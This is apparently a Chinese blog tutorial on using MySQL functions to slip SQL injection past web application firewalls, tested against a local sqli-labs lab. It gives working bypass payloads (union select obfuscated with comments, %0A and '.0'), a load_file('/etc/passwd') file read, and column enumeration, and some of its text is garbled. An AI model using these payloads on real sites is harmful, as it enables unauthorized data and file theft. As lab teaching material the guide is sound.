0x00 前言
在sql注入当中会遇到各种各样的waf,如果需要bypass通常会涉及到一些冷门函数的运用,那么我们这时候就需要翻找手册来一个个查询,下面是我这几天收集到的一些常用函数,在waf过滤不严格的时候能有效的去绕过waf。
0x01 了解常见函数
- system user() 系统用户名
- concat() 连接字符串
- user() 用户名
- concat_ws() 含有分隔符地连接字符串
- current_user() 当前用户名
- group_concat() 连接一个组的所有字符 串,并以逗号分隔每一条 数据
- session_user() 连接数据库 的用户名
- load_file() 读取本地文件
- database() 数据库名
- into outfile 写文件
- version() 数据库版本
- ascii() 字符串的ASCII码值
- @@datadir 数据库路径
- ord() 返回字符串第一个字符的 ASCII码值
- @@basedir 数据库安装 路径
- mid() 返回一个字符串的一部分
- @@version_compile_os 操作系统
- substr() 返回一个字符串的一部分
- count() 返回执行结 果数量
- length() 返回字符串的长度
- substring 取值函数
- div 除法运算函数 和/ 用法一样
- mod: 取余数函数
hex():获取16进制的值
- @H_301_25@select system_user();
concat_ws 拼接函数
- select concat_ws("|",ab");
这个也是一个拼接函数,在group_concat和concat被禁用的时候就可以使用到这个函数。
char_length 用法:
- select char_length('123456') as abc;
计算值的长度命名为abc,在sql语法里面规则是这么定的,我也不知道为啥。
character_length
- select character_length(123") as abc;
character_length的用法和char_length基本一样 功能也差不多
- select left(1);
从左边开始截取第一个值
- select load_file(/etc/passwd');
读取本地的passwd文件
- select @@datadir
- select @@basedir
那么现在来尝试一下,正常查询语句拼接 and 语句来模拟注入。模拟现在waf 拦截and 1=1 的等于号,那么我们可以使用其他的运算符。
- select * from users where id=1 and 1 div 1;
正常
- 0;
报错
div 相当于sql语句里面的/ 斜杠 也就是除号。
- 1 like 0;
报错
like :模糊查询。
- 1 * 0;
报错
只要and 后面的条件成立等于true 就能执行能够判断是否存在注入。
比如绕过还可以使用到hex()这个函数
0x02 bypass waf
- and hex(0)
报错不拦截
- and hex(1)
正常绕 and 判断。
那么再来爆出他的字段进行联合查询
- order by 不拦截
-
- order by 3正常
-
- order by 4报错
字段为3个
使用联合查询来报错数据
那么我们还可以使用--+ 和%0a来绕过union select
那么拦截的就是他们拼接一起。
我们这时候可以来把他中间的空格位置给fuzz一下。
- 127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+*/%0Aselect 1,1)">2,1)">3
在id后面的位置呢可以加个.0来代替空格,因为MysqL 不识别浮点型。
再来试试其他方式
- http://127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+hex(0)%0Aselect%201,2,3
一样能成功查询出来。
- http:127.0.0.1/sqli-labs/Less-2/?id=-1.0union--+/*!abc*/%0Aselect%201,user(),3
拦截 那么他拦截的肯定是user()这个函数,再来fuzz一下
user不拦截
()不拦截
那么从他中间插入payload打乱正则。
成功爆出数据。
0x03 结尾
咱也不知道该说啥,来插个表情包吧!
select concat_ws("|","a","b");